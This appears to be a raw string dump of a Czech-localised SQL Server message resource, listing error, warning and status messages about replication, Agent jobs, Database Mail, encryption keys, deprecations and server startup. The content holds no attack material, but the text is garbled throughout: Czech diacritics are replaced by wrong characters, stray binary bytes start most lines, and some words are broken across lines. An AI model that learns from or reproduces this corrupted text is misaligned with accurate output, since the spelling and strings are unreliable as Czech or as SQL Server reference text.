Xn�zev zprostYedkovatele �lo~iat kl�
o

 FILESTREAM

ROWGUID

FOR XML

FOR JSON

,aifrovan� hodnota

(cesta ke kl�
i

BLOCK

FILTER

8INTERVAL_LENGTH_MINUTES

0MAX_PLANS_PER_QUERY

0QUERY_CAPTURE_MODE

8SIZE_BASED_CLEANUP_MODE

0extern� fond zdrojo

,extern� knihovna

,QUERY_TUNING_MODE

,N�zev serveru QDS

8WAIT_STATS_CAPTURE_MODE

$extern� jazyk

maximum

celkem

8STATISTICS_INCREMENTAL

pTuto operaci nelze prov�st v u~ivatelsk� transakci.

DXetzec fulltextov�ho dotazu

@Jazyk fulltextov�ho dotazu

`Maxim�ln� po
et kl�
o fulltextov�ho dotazu

4fulltextov� stoplist

|�span   podrobnosti naleznete u zprostYedkovatele EKM.

xChyba   podrobnosti naleznete u zprostYedkovatele EKM.

�Velikost vyrovn�vac� pamti nen� dostate
n�   podrobnosti naleznete u zprostYedkovatele EKM.

�Nen� podporov�no   podrobnosti naleznete u zprostYedkovatele EKM.

�Objekt nebyl nalezen   podrobnosti naleznete u zprostYedkovatele EKM.

�OvYov�n� se nezdaYilo   podrobnosti naleznete u zprostYedkovatele EKM.

�Neplatn� argument   podrobnosti naleznete u zprostYedkovatele EKM.

�Chyba poskytovatele   ~�dn� vysvtlen� nen� k dispozici, podrobnosti naleznete u zprostYedkovatele EKM.

(PY�znaky kl�
e

 N�zev kl�
e

Typ kl�
e

Um�stn�:

dUm�stn� relativn k zadan�mu c�lov�mu uzlu:

@prohledat seznam vlastnost�

MERGE

PAD_INDEX

 FILLFACTOR

(SORT_IN_TEMPDB

(IGNORE_DUP_KEY

8STATISTICS_NORECOMPUTE

�Rozhran� API roza�Yen� ulo~en� procedury bude v budouc� verzi syst�mu SQL Server odebr�no. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

Mo~nost vlo~it hodnoty NULL do sloupco 
asov�ho tla
�tka TIMESTAMP bude v budouc� verzi syst�mu SQL server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�. Pou~ijte m�sto toho funkci DEAFULT.

�Mo~nost pou~�vat Yetzcov� liter�ly jako aliasy sloupco bude v budouc� verzi syst�mu SQL Serveru odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�. Pou~ijte m�sto toho klauzuli AS.

�Mo~nost pou~�t symboly # a ## jako n�zvy do
asn�ch tabulek a ulo~en�ch procedur bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

Mo~nost pou~�vat symbol @ a n�zvy, kter� za
�naj� symbolem @@, jako identifik�tory v jazyku Transact-SQL bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

�Mo~nost pou~�t kl�
ov� slovo DEFAULT jako v�choz� hodnotu bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

�Pomocn� parametr FASTFIRSTROW bude v budouc� verzi syst�mu SQL Server odebr�n. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�. Pou~ijte m�sto toho pomocn� parametr OPTION (FAST n).

XFunkce %1!s! bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto funkci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

XKolace %1!s! bude v budouc� verzi syst�mu SQL Server odebr�na. Nepou~�vejte tuto kolaci pYi v�voji nov�ch aplikac� a napl�nujte upraven� aplikac�, kter� ji pou~�vaj�.

�Mo~nost vytv�Yen� povYen� pomoc� neodpov�daj�c�ho hesla pro ulo~enou proceduru sp_control_dbmasterkey_password bude v budouc�ch verz�ch syst�mu SQL Server odebr�na. Nepou~�vejte tuto ulo~enou proceduru s hesly, kter� neodpov�daj� st�vaj�c�mu heslu aifrov�n� hlavn�ho kl�
e datab�ze, a napl�nujte �pravu aplikac�, kter� tuto ulo~enou proceduru aktu�ln pou~�vaj�.

�Upozornn�: Nebyly nalezeny ~�dn� datov� sady odpov�daj�c� v�razy %1!s!.

�Upozornn�: Omezen� hran %1!s! na tabulce %2!s! bylo deaktivov�no jako dosledek deaktivace indexu %3!s!.

TAktualizace 
l�nku probhla �span.

HOdbr byl �span aktualizov�n.

,Odbr neexistuje.

8Odbratel byl vyYazen.

�Bylo zjiatno generov�n� zablokovan� ve stavu generov�n� 4.

TPublikace byla �span aktualizov�na.

�Vlastnost %1!s! distribu
n� datab�ze byla �span aktualizov�na.

�Hodnota parametru @max_distretention mus� b�t vta� ne~ hodnota parametru @min_distretention.

dBylo odebr�no %1!s! z�znamo historie z %2!s!.

�Hodnota parametru @security_mode mus� b�t 0 (OvYov�n� syst�mu SQL Server) nebo 1 (integrovan� ovYov�n�).

�Bylo odebr�no %1!s! z�znamo historie replikace za %2!s! s (%3!s! Y�dko/s).

hReplikace-%1!s!: agent %2!s! byl �span�. %3!s!

�Replikace-%1!s!: bylo napl�nov�no opakov�n� agenta %2!s!. %3!s!

hReplikace-%1!s!: upozornn� agenta %2!s!. %3!s!

�Odbru publikace %2!s! vytvoYen�mu odbratelem %1!s! vypraela platnost a byl vyYazen.

TReplikace-%1!s!: agent %2!s!: %3!s!.

|Jeden nebo v�ce odbro pYekro
il mezn� hodnotu [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte stav odbro t�to publikace a v pY�pad potYeby zmHte mezn� hodnotu vypraen� platnosti.

XByla nastavena prahov� hodnota [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte, zda b~� agenti pro 
ten� protokolu a distribuci a zda splHuj� po~adavky na latenci.

XJeden nebo v�ce odbro pYekro
il mezn� hodnotu [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte stav odbro t�to publikace a v pY�pad potYeby upravte mezn� hodnotu.

XJeden nebo v�ce odbro pYekro
il mezn� hodnotu [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte stav odbro t�to publikace a v pY�pad potYeby upravte mezn� hodnotu.

XJeden nebo v�ce odbro pYekro
il mezn� hodnotu [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte stav odbro t�to publikace a v pY�pad potYeby upravte mezn� hodnotu.

XJeden nebo v�ce odbro pYekro
il mezn� hodnotu [%1!s!:%2!s!] pro publikaci [%3!s!]. Zkontrolujte stav odbro t�to publikace a v pY�pad potYeby upravte mezn� hodnotu.

�Zaka~te publikov�n� ignorovan� chybov� zpr�vy %1!s!, z�va~nost %2!s!, stav %3!s!: %4!s!.

(Vypraen� odbru

DLatence transak
n� replikace

hDlouh� slou
en� bhem telefonick�ho pYipojen�.

TDlouh� slou
en� bhem pYipojen� LAN.

TPomal� slou
en� bhem pYipojen� LAN.

hPomal� slou
en� bhem telefonick�ho pYipojen�.

@Agent nebyl nikdy spuatn.

lHodnota parametru %1!s! by mla b�t v sad %2!s!

�Hodnota parametru %1!s! by mla b�t v rozsahu %2!s!. OvYte, zda je zadan� hodnota parametru spr�vn�.

�Zadan� �loha %1!s! nen� vytvoYena pro pl�ny �dr~by. OvYte, zda m� �loha nejm�n jeden krok vol�n� procedury xp_sqlmaint.

40 (vaechny kroky) ..

\pYed nebo po parametru @active_start_time

hsp_helplogins [krom skupin syst�mu Windows NT]

0 (nen� ne
inn�), 1 (zpracov�v�), 2 (
ek� na vl�kno), 3 (mezi opakov�n�mi), 4 (ne
inn�), 5 (pozastaveno), 7 (prov�d� dokon
ovac� akce)

(nezn�m�)

0..n s

4-1 [bez maxima], 0..n

\1..7 [1 = E-mail, 2 = Pager, 4 = NetSend]

P0..127 [1 = Nedle .. 64 = Sobota]

ozn�men�

server

((vaechny �lohy)

@Podrobnosti z�kladn� �lohy:

$Kroky �lohy:

$Pl�ny �lohy:

4C�lov� servery �lohy:

�Upozornn� syst�mu SQL Server: Objekt %1!s! provedl vynucen� vyYazen� c�lov�ho serveru (TSX) %2!s!. Spusete proceduru sp_delete_targetserver na hlavn�m serveru (MSX) a dokon
ete vyYazen�.

hodina

minuta

sekunda

�Upozornn�: Dan� n�zev serveru neodpov�d� aktu�ln�mu hlavn�mu serveru (%1!s!).

TVypr�zdnn� polo~ky historie: %1!s!.

�Server byl vyYazen z hlavn�ho serveru %1!s!. Bylo odstranno %2!s! �loh.

pZ�pis hlavn�ho serveru byl zmnn z %1!s! na %2!s!.

dServer byl zaYazen do hlavn�ho serveru %1!s!.

�SP_POST_MSX_OPERATION: %1!s! Odeslan� pokyny ke sta~en�: %2!s!

�Upozornn� procedury SP_POST_MSX_OPERATION: Zadan� objekt %1!s! (%2!s!) nen� zahrnut ve v�ceserverov� �loze.

|Upozornn�: Objekt %1!s! odkazoval na neexistuj�c� krok.

8Odstrann� �lohy: %1!s!

`%1!s! �loh bylo pYiYazeno k objektu %2!s!.

\�loha se vztahuje k %1!s! nov�m serverom.

T�loha byla odebr�na z %1!s! servero.

P�loha %1!s! byla �span spuatna.

d%1!s! (z %2!s!) �loh bylo �span zastaveno.

P�loha %1!s! byla �span zastavena.

�Upozornn�: PYi zad�v�n� akce DELETE nen� parametr @new_owner_login_name nezbytn�.

<Anal�za subsyst�mu dotazo

@Anal�za subsyst�mu pY�kazo

LSubsyst�m spouatn� bal�
ko SSIS

�Upozornn�: Tuto zmnu c�lov� servery nest�hnou, dokud nebude objekt %1!s! pro �lohu odesl�n pomoc� %2!s!.

tC�lov�mu serveru %1!s! nebyly pYiYazeny ~�dn� �lohy.

8(Popis nen� po~adov�n.)

@Subsyst�m pY�kazov�ho Y�dku

@Subsyst�m sn�mku replikace

hSubsyst�m 
te
ky protokolo transakc� replikace

HSubsyst�m distribuce replikace

DSubsyst�m slou
en� replikace

HSubsyst�m aktivn�ho skriptov�n�

8Subsyst�m Transact-SQL

[Intern�]

0(aifrovan� pY�kaz)

@(pYipojit v�stupn� soubor)

H(zahrnout v�sledky do historie)

 (norm�ln�)

4(opustit s �spchem)

4(opustit se selh�n�m)

8(pYej�t na dala� krok)

,(pYej�t na krok)

(ne
inn�)

4(ni~a� ne~ norm�ln�)

4(vyaa� ne~ norm�ln�)

,(
asov kritick�)

((V�stup �lohy)

DNen� k dispozici ~�dn� popis.

�Parametr @freq_interval mus� m�t pro ka~dodenn� �lohu hodnotu nejm�n 1.

�Parametr @freq_interval mus� b�t platn� den z bitov� masky t�dne [nedle = 1 .. sobota = 64] u t�denn� �lohy.

�Parametr @freq_interval mus� m�t u ms�
n� �lohy hodnotu od 1 do 31.

�Parametr @freq_relative_interval mus� m�t jednu z hodnot 1st (0x1), 2nd (0x2), 3rd [0x4], 4th (0x8) nebo Last (0x10).

4Parametr @freq_interval mus� m�t hodnotu od 1 do 10 (1 = nedle.. 7 = sobota, 8 = den, 9 = den v t�dnu, 10 = den v�kendu) u ms�
n� relativn� �lohy.

�Parametr @freq_recurrence_factor mus� m�t hodnotu nejm�n 1.

�Spust� se v~dy, kdy~ je vyu~it� procesoru ni~a� ne~ %1!s! po dobu %2!s! sekund.

|Automaticky se spust� pYi spuatn� slu~by SQLServerAgent.

�loha

`Subsyst�m 
te
ky fronty transakc� replikace

(ID.VersionID =

 [neur
eno]

 Bal�
ek DTS

N�zev

,Upozornn�: %1!s!

HPoata (ID: %1!s!) je ve front.

8Aktivace se nezdaYila.

8Aktivace byla �span�.

|Poatovn� fronta byla spuatna pYihlaaovac�m �
tem %1!s!.

|Poatovn� fronta byla zastavena pYihlaaovac�m �
tem %1!s!.

8V�choz� k�dov�n� pY�loh

XV�choz� doba platnosti dialogov�ho okna

PV�choz� maxim�ln� velikost souboru

\V odchoz� poat nejsou povolena roza�Yen�

dPo
et opakovan�ch pokuso u poatovn�ho serveru

tProdleva mezi jednotliv�mi pokusy pro poatovn� server

dMinim�ln� doba platnosti procesu v sekund�ch

Do fronty ExternalMailQueue byla pYijata neo
ek�van� zpr�va. conversation_handle: %1!s!. message_type_name: %2!s!. tlo zpr�vy: %3!s!.

V tabulce sysmail_send_retries nebyla nalezena hodnota ve sloupci mailitem_id pro konverzaci %1!s!. Tato polo~ka poaty nebude odesl�na.

�ID poaty %1!s! pYekro
ilo po
et opakov�n�. Tato polo~ka poaty nebude odesl�na.

�Odstrann� polo~ek poaty je zah�jeno u~ivatelem %1!s!. Po
et odstrann�ch polo~ek: %2!s!.

4Subsyst�m PowerShell

�Shroma~uje data o vyu~it� disku a protokolu pro vaechny datab�ze.

$Vyu~it� disku

HVyu~it� disku   Datov� soubory

LVyu~it� disku   Soubory protokolu

\Shroma~uje celkov� indik�tory v�konnosti pro po
�ta
 a datab�zov� stroj. Umo~Huje anal�zu vyu~it� prostYedko, kritick�ch bodo prostYedko a aktivity datab�zov�ho stroje.

,Aktivita serveru

tAktivita serveru   Sn�mky zobrazen� dynamick� spr�vy

TAktivita serveru   
�ta
e v�konnosti

�Shroma~uje statistiky dotazo, text T-SQL a pl�ny dotazo pro vtainu pY�kazo, kter� ovlivHuj� v�kon. Umo~Huje anal�zu nev�konn�ch dotazo ve vztahu k celkov� aktivit datab�zov�ho stroje syst�mu SQL Server.

,Statistiky dotazo

PStatistiky dotazo   aktivita dotazo

PZmny v konfiguraci datab�ze SQL Dumper se projev� po restartov�n� sady kolekc�. Chcete-li prov�st okam~it� v�pis pamti, pou~ijte n�stroj dtutil nebo volbu dump.

�Shroma~uje data o instanc�ch syst�mu SQL Server, kter� jsou spravov�ny Stavov�m n�strojem syst�mu SQL Server.

DInformace stavov�ho n�stroje

pInformace stavov�ho n�stroje   spravovan� instance

0Subsyst�m AutoAdmin

�%1!s! pro tabulku %2!s! se nevynut�, proto~e se pou~�v� mo~nost REMOTE_DATA_ARCHIVE.

�Dotazy na tabulky s povolenou mo~nost� REMOTE_DATA_ARCHIVE nebudou v re~imu dotazu LOCAL_AND_REMOTE v datab�zi %1!s! mo~n�, dokud se neprovede optovn� autorizace archivu vzd�len�ch dat.

Datab�ze %1!s! obsahuje tabulky REMOTE_DATA_ARCHIVE a bude bhem obnovov�n� ozna
en� jako odpojen� od vzd�len�ch dat. Pokud byste ji chtli znovu pYipojit ke stejn�mu archivu nebo vytvoYit kopii, pou~ijte po dokon
en� obnoven� proceduru sp_rda_reauthorize_db.

�Kop�rov�n� vzd�len� datab�ze %1!s! do vzd�len� datab�ze %2!s!

�Dokon
ilo se kop�rov�n� vzd�len� datab�ze %1!s!. Je te online.

pek� se na dokon
en� kop�rov�n� vzd�len� datab�ze.

�PYipojen� archivu vzd�len�ch dat k�serveru %1!s! se povedlo.

Datab�ze %1!s! obsahuje tabulky REMOTE_DATA_ARCHIVE a bude bhem obnovov�n� ozna
en� jako odpojen� od vzd�len�ch dat. Pokud byste ji chtli znovu pYipojit ke stejn�mu archivu nebo vytvoYit kopii, pou~ijte po dokon
en� obnoven� proceduru sp_rda_reauthorize_db.

�Procedura sjednocen� %1!s! sn�~ila m�stn� ID d�vky pro rozta~enou tabulku %2!s! datab�ze %3!s! z %4!s! na %5!s!.

�Spouat� se operace spr�vce %1!s! na rozta~enou tabulku s ID %2!s! s pou~it�m pomocn�ho parametru %3!s!.

Reautorizace rozta~en� datab�ze %1!s! se vzd�lenou datab�z� skon
ila �span. Nyn� se sjednocuj� vzd�len� tabulky a vzd�len� sloupce...

�Sjednocen� vzd�len�ch tabulek a vzd�len�ch sloupco rozta~en� datab�ze %1!s! skon
ilo �span...

h%1!s! se nastavilo na %2!s! pro tabulku %3!s!.

8Klauzule REMOTE_DATA_ARCHIVE nastaven� na hodnotu OFF_WITHOUT_DATA_RECOVERY nen� pYi vytv�Yen� tabulky podporovan�. Zkuste to znovu s platnou mo~nost�.

XTransakce/funkce %1!s! vlo~ila selh�n�.

pStatistiky pro vaechny tabulky byly aktualizov�ny.

�Tabulka %1!s!: Nebyly nalezeny ~�dn� sloupce bez statistik.

�Tabulka %1!s!: Vytv�Yen� statistik pro n�sleduj�c� sloupce:

�Statistiky byly vytvoYeny pro vypsan� sloupce (po
et: %1!s!) tabulek uveden�ch v�ae.

�Parametr @with_log je ignorov�n u zpr�v, kter� nejsou ve verzi us_english.

�Platn� hodnoty �rovn kompatibility datab�ze jsou %1!s!, %2!s!, %3!s!, %4!s!, %5!s! nebo %6!s!.

XAktu�ln� �roveH kompatibility je %1!s!.

pPY�znak podezYen� u datab�ze %1!s! je ji~ nastaven.

|Objekt %1!s! byl �span ozna
en pro optovnou kompilaci.

�Upozornn�: PYed pY�stupem je nutn� tuto datab�zi obnovit.

LPo
et zpracovan�ch dotazo: %1!s!.

@Upozornn�: U~ivatelsk� typy vytvoYen� prostYednictv�m procedury sp_addtype jsou obsa~eny ve sch�matu dbo. Pokud je zad�n parametr @owner, bude ignorov�n.

�Objekt %1!s! nelze vyYadit, proto~e je pou~�v�n nejm�n jedn�m objektem %2!s!.

�Byla zad�na neplatn� velikost souboru. Vaechny soubory mus� m�t velikost nejm�n 1 MB.

@Re~im ovYov�n� je: %1!s!.

T%1!s! %2!s! nem� dovru ke spuatn�.

HDeaifrovac� kl�
 je nespr�vn�.

�Syst�m SQL Server zablokoval pY�stup k objektu %1!s! %2!s! komponenty %3!s!, proto~e je tato komponenta vypnuta v r�mci konfigurace zabezpe
en� pro tento server. Spr�vce syst�mu mo~e povolit pou~it� objektu %4!s! pomoc� procedury sp_configure. Dala� informace o povolen� objektu %5!s! naleznete vyhled�n�m term�nu %6!s! na webu Knihy online pro SQL Server.

Kl�
 s n�zvem %1!s! nebo u~ivatelem definovan�m jedine
n�m identifik�torem ji~ existuje nebo nem�te opr�vnn� k jeho vytvoYen�.

tChcete-li deaifrovat kl�
, zadejte modul deaifrov�n�.

�X�dek pro u~ivatele %1!s! bude opraven aktualizac� sv�ho odkazu na ji~ existuj�c� pYihl�aen�.

�Aby se zabr�nilo konfliktu, Y�dek pro u~ivatele %1!s! bude opraven aktualizac� jeho odkazu na nov� pYihl�aen�.

�Po
et osamocen�ch u~ivatelo opraven�ch pYid�n�m nov�ch pYihlaaovac�ch jmen a n�slednou aktualizac� u~ivatelo byl %1!s!.

�Po
et osamocen�ch u~ivatelo opraven�ch aktualizac� u~ivatelo byl %1!s!.

�Kl�
 nen� aifrov�n s pou~it�m zadan�ho modulu deaifrov�n�.

Bu nebyl zad�n ~�dn� algoritmus, nebo nejsou bitov� d�lka a algoritmus zadan� pro kl�
 dostupn� v t�to instalaci opera
n�ho syst�mu.

tKl�
 %1!s! nen� otevYen. PYed pou~it�m kl�
 otevYete.

�Glob�ln� do
asn� kl�
e nejsou povoleny. Pou~�t sm�te pouze m�stn� do
asn� kl�
e.

|Soubor hlavn�ch kl�
o neexistuje nebo m� neplatn� form�t.

�Vaechny fragmenty pro datab�zi %1!s! v zaY�zen� %2!s! jsou nyn� vyhrazeny pouze pro pou~it� protokolo.

�Soubor %1!s! byl odebr�n z datab�ze tempdb a vstoup� v platnost pYi restartov�n� serveru.

dNeexistuj� ~�dn� roza�Yen� ulo~en� procedury.

PDatab�ze je nyn� v re~imu offline.

LDatab�ze je ji~ v re~imu offline.

�Pro tento soubor je ji~ nastaven priv�tn� kl�
. Chcete-li jej zmnit, mli byste vyYadit a znovu vytvoYit certifik�t.

�%1!s! m� priv�tn� kl�
, kter� je chr�nn u~ivatelsk�m heslem. Aby bylo mo~n� kl�
 pou~�vat, je nutn� zadat heslo.

�Upozornn�: Zobrazen� sys.sql_dependencies ukazuje, ~e na tento objekt odkazuj� jin� objekty (zobrazen�, procedury atd.) pod jeho star�m n�zvem. Tyto objekty ztrat� platnost a mly by b�t neprodlen vyYazeny a znovu vytvoYeny.

,Vytv�Yen�: %1!s!

lPro %1!s! %2!s! nen� zY�zen ~�dn� priv�tn� kl�
.

�Zadan� u~ivatelsk� jm�no nebo heslo jsou neplatn� nebo aktu�ln� proces nem� dostate
n� opr�vnn�.

�Podepisovan� procedura / funkce / typ CLR odkazuje na sestaven�, kter� nen� podeps�no siln�m n�zvem nebo sestaven�m.

�Pou~it�: sp_detach_db <n�zev_datab�ze>, [TRUE|FALSE], [TRUE|FALSE]

xU~ivatelsk� skupiny souboro by mly b�t jen pro 
ten�.

PDatab�ze byla �span publikov�na.

`Datab�ze byla �span povolena pro odbry.

�Datab�ze byla �span publikov�na s pou~it�m slu
ovac� replikace.

LDatab�ze je ji~ v re~imu online.

LDatab�ze je nyn� v re~imu online.

HDatab�ze ji~ nen� publikov�na.

XDatab�ze ji~ nen� povolena pro odbry.

pDatab�ze ji~ nen� povolena pro slu
ovac� replikace.

|Stanoven� kontroln�ch bodo datab�ze, kter� byla zmnna.

8Byl vlo~en nov� jazyk.

dNejsou k dispozici ~�dn� alternativn� jazyky.

�Mo~nost us_english je k dispozici v~dy, i kdy~ nen� v tabulce syslanguages.

4Jazyk byl odstrann.

�Volba konfigurace %1!s! se zmnila z %2!s! na %3!s!. Provete instalaci spuatn�m pY�kazu RECONFIGURE.

<Datab�ze byla odstranna.

�V aktu�ln� datab�zi odkazuje zadan� objekt na n�sleduj�c�:

�V aktu�ln� datab�zi na zadan� objekt odkazuje n�sleduj�c�:

�Objekt neodkazuje na ~�dn� objekt a ~�dn� objekty neodkazuj� na nj.

<Soubor %1!s! je uzavYen.

8ZaY�zen� bylo vyYazeno.

�U objektu %1!s! nejsou definov�na ~�dn� omezen� nebo nem�te opr�vnn�.

�Na tabulku %1!s! neodkazuj� ~�dn� ciz� kl�
e nebo nem�te opr�vnn� k odkazov�n� tabulek.

PText pro objekt %1!s! je aifrov�n.

tObjekt %1!s! nem� ~�dn� indexy nebo nem�te opr�vnn�.

�Datab�ze je pYejmenov�na a nach�z� v jednou~ivatelsk�m re~imu.

�Upozornn�: Zmna jak�koli 
�sti n�zvu objektu mo~e poakodit skripty a ulo~en� procedury.

PZ�visl� aliasy byly tak� vyYazeny.

�Nelze pYidat pYihlaaovac� �
et s pou~it�m procedury sp_addlogin (u~ivatel = %1!s!). Ukon
ov�n� procedury.

�Z�visl� aliasy byly mapov�ny na nov�ho vlastn�ka datab�ze.

DZ�visl� aliasy byly vyYazeny.

dVlastn�k datab�ze se nastavuje na hodnotu SA.

�Prob�h� pYed�n� vlastnictv� vaech objekto vlastn�kovi datab�ze.

�Prob�h� odstrann� u~ivatelo s v�jimkou hosta a vlastn�ka datab�ze z katalogu syst�mu.

XV�choz� hodnota je sv�z�na se sloupcem.

`V�choz� hodnota je sv�z�na s datov�m typem.

�Nov� v�choz� hodnota byla sv�z�na se sloupci zadan�ho datov�ho typu.

\Pravidlo je sv�z�no se sloupcem tabulky.

TPravidlo je sv�z�no s datov�m typem.

�Nov� pravidlo bylo sv�z�no se sloupci zadan�ho datov�ho typu.

lV�choz� hodnota nen� sv�z�na se sloupcem tabulky.

dV�choz� hodnota nen� sv�z�na s datov�m typem.

�Sloupce zadan�ho u~ivatelsk�ho datov�ho typu ji~ nemaj� sv� v�choz� hodnoty sv�zan�.

`Pravidlo nen� sv�z�no se sloupcem tabulky.

XPravidlo nen� sv�z�no s datov�m typem.

�Sloupce zadan�ho u~ivatelsk�ho datov�ho typu ji~ nemaj� sv� pravidla sv�zan�.

�Procedura sp_checknames se pou~�v� k hled�n� jin�ch ne~ 7bitov�ch znako ASCII.

�v nkolika dole~it�ch sloupc�ch syst�mov�ch tabulek. N�sleduj�c�

@sloupce jsou prohled�v�ny:

8    V hlavn� datab�zi:

<    Ve vaech datab�z�ch:

lNelze vytvoYit kl�
 bez zad�n� modulu aifrov�n�.

<Nen� mo~n� deaifrovat nebo aifrovat s pou~it�m zadan�ho %1!s!, proto~e bu nem� priv�tn� kl�
, nebo proto~e je nespr�vn� zadan� heslo pro priv�tn� kl�
.

pJi~ existuje polo~ka %1!s! pro objekt %2!s! %3!s!.

pNelze vyYadit polo~ku %1!s! pro objekt %2!s! %3!s!.

�Nelze vyYadit objekt %1!s! %2!s!, proto~e je k nmu mapov�na polo~ka %3!s!.

�Nelze pYidat nebo vyYadit podpis pro objekt %1!s!, proto~e lze podepisovat pouze moduly.

�Podpisy zalo~en� na certifik�tech nebo asymetrick�ch kl�
�ch jsou jedin� mo~nosti podporovan� v t�to verzi produktu.

Prov�dn� modul nen� dovryhodn�. Bu mus� vlastn�k datab�ze modulu obdr~et opr�vnn� k ovYen�, nebo je nutn� modul digit�ln podepsat.

hObjekt %1!s! nem� nastaven ~�dn� priv�tn� kl�
.

TTento objekt nem� ~�dnou statistiku.

hTento objekt nem� ~�dnou statistiku ani index.

�Upozornn�: Odkazovan� server, kter� odkazuje na v�choz� server, nen� podporovan� sc�n�Y. Pokud chcete k odkazov�n� na m�stn� tabulku pou~�t 
tyYd�ln� n�zev, pou~ijte m�sto aliasu radji skute
n� n�zev serveru.

�Podepisovan� modul je ozna
en ke spuatn� jako vlastn�k. Pokud se zmn� vlastn�k, podpis nebude platn�.

<Bhem deaifrov�n� objektu %1!s! %2!s!, kter� byl zaaifrov�n star�m hlavn�m kl�
em, doalo k chyb. Chyba byla ignorov�na, proto~e byl zad�n pY�kaz FORCE.

�Nelze deaifrovat aktu�ln� hlavn� kl�
. Chyba byla ignorov�na, proto~e byl zad�n pY�kaz FORCE.

�Star� a nov� hlavn� kl�
 jsou identick�. Nen� nutn� znovu aifrovat data.

8Upozornn�: Pou~it� indexu UNIQUE, omezen� PRIMARY KEY nebo omezen� UNIQUE u tabulky se zabezpe
en�m na �rovni Y�dko mo~e umo~nit vyzrazen� informac�.

�Upozornn�: Pou~it� sloupce IDENTITY u tabulky se zabezpe
en�m na �rovni Y�dko mo~e umo~nit vyzrazen� informac�.

Upozornn�: Pou~it� sloupce indexovan�ho zobrazen� u tabulky se zabezpe
en�m na �rovni Y�dko mo~e umo~nit vyzrazen� informac�.

�Auditov�n� a opr�vnn� nelze nastavit na m�stn�ch do
asn�ch objektech.

pNeexistuje opr�vnn� k pY�stupu do datab�ze %1!s!.

hVolba %1!s! pro parametr %2!s! nen� rozpozn�na.

�Pokusili jste se z�skat transak
n� z�mek aplikace bez aktivn� transakce.

HPY�kaz sp_dboption se nezdaYil.

�Neexistuj� zobrazen� s referen
n� tabulkou %1!s! vazeb sch�mat.

<Prob�h� aktualizace %1!s!

�    %1!s! indexo/statistik bylo aktualizov�no, %2!s! aktualizaci nevy~adovaly.

H    %1!s! bylo aktualizov�no...

T    %1!s!, aktualizace nen� nutn�...

�Tabulka %1!s!: Nelze prov�st operaci pro tabulku, proto~e je zak�z�n jej� clusterovan� index.

�Na tabulku %1!s! neodkazuj� ~�dn� omezen� hrany nebo nem�te opr�vnn� k odkazov�n� tabulek.

�Nastavuje se mo~nost automatick� optimalizace %1!s! na %2!s! pro datab�zi %3!s!.

�ID v�pisu: %1!s! | Hodnota hash dotazu: %2!s! | ID distribuovan�ho po~adavku: %3!s!

xTato ulo~en� procedura je k dispozici jenom v Polaris.

�%1!s! input argument should be a query text in the following form: 'SELECT col FROM OPENROWSET(BULK)'.%2!s!%3!s!

8Doalo k vnitYn� chyb.

\Zadan� v�raz neodpov�d� ~�dn� zn�m� RWVC.

�Kontrola optimistickou metodou soub~n�ho zpracov�n� se nezdaYila. X�dek byl zmnn mimo tento kurzor.

pPromnn� %1!s! nem� aktu�ln pYiYazen ~�dn� kurzor.

�Vzd�len� tabulky nelze aktualizovat. Aktualizovateln� kurzory Y�zen� sadou kl�
o ve vzd�len�ch tabulk�ch vy~aduj� transakci s �rovn� izolace REPEATABLE_READ nebo SERIALIZABLE, kter� kurzor zahrne.

\VytvoYen� kurzor nen� po~adovan�ho typu.

�Nejm�n jeden sloupec FOR UPDATE byl upraven na prvn� instanci sv� tabulky v dotazu.

�Pou~it�: sp_autostats <table_name> [, {ON|OFF} [, <index_name>] ]

�Po
et dno do konce zkuaebn�ho obdob� vaa� verze syst�mu SQL Server: %1!s!.

%1!s!

hChyba: %1!s! Z�va~nost: %2!s! Stav: %3!s! %4!s!

4Po~adavek PrintStack

%1!s!

@(c) Microsoft Corporation.

<Vaechna pr�va vyhrazena.

DID procesu serveru je %1!s!.

�Nelze otevY�t hlavn� datab�zi v kontextu vl�ken syst�mov�ch �loh. Server je ukon
ov�n.

�Re~im splnn� spole
n�ch krit�ri� je zapnut. Tato zpr�va je pouze informa
n�; nen� tYeba ~�dn� akce u~ivatele.

��ta
e v�konu pro fondy spr�vco prostYedko nelze inicializovat, a proto jsou zak�z�ny.

TAktualizace z�sad hesel byla �span�.

\Certifik�t FallBack byl �span vytvoYen.

PSpouatc� parametry registru: %1!s!

|Prob�h� z�pis zpr�v syst�mu SQL Server do souboru %1!s!.

`Spouatc� parametry pY�kazov�ho Y�dku:%1!s!

xDatab�ze tempdb m� tento po
et datov�ch souboro: %1!s!.

�Okam~it� inicializace souboru datab�ze: %1!s!. Pozn�mky k zabezpe
en� a v�konu najdete v t�matu Okam~it� inicializace souboru datab�ze v online dokumentaci syst�mu SQL Server. Toto je pouze informa
n� zpr�va. Nen� nutn� ~�dn� akce u~ivatele.

,Po
et soub~n pYipojen�ch u~ivatelo byl sn�~en na %1!s!, proto~e pYekra
oval pY�pustn� limit pro tuto verzi syst�mu SQL Server. Abyste se t�to zpr�v v budoucnosti vyhnuli, pomoc� procedury sp_configure trvale nastavte po
et pYipojen� u~ivatelo v intervalu dan�m licenc�.

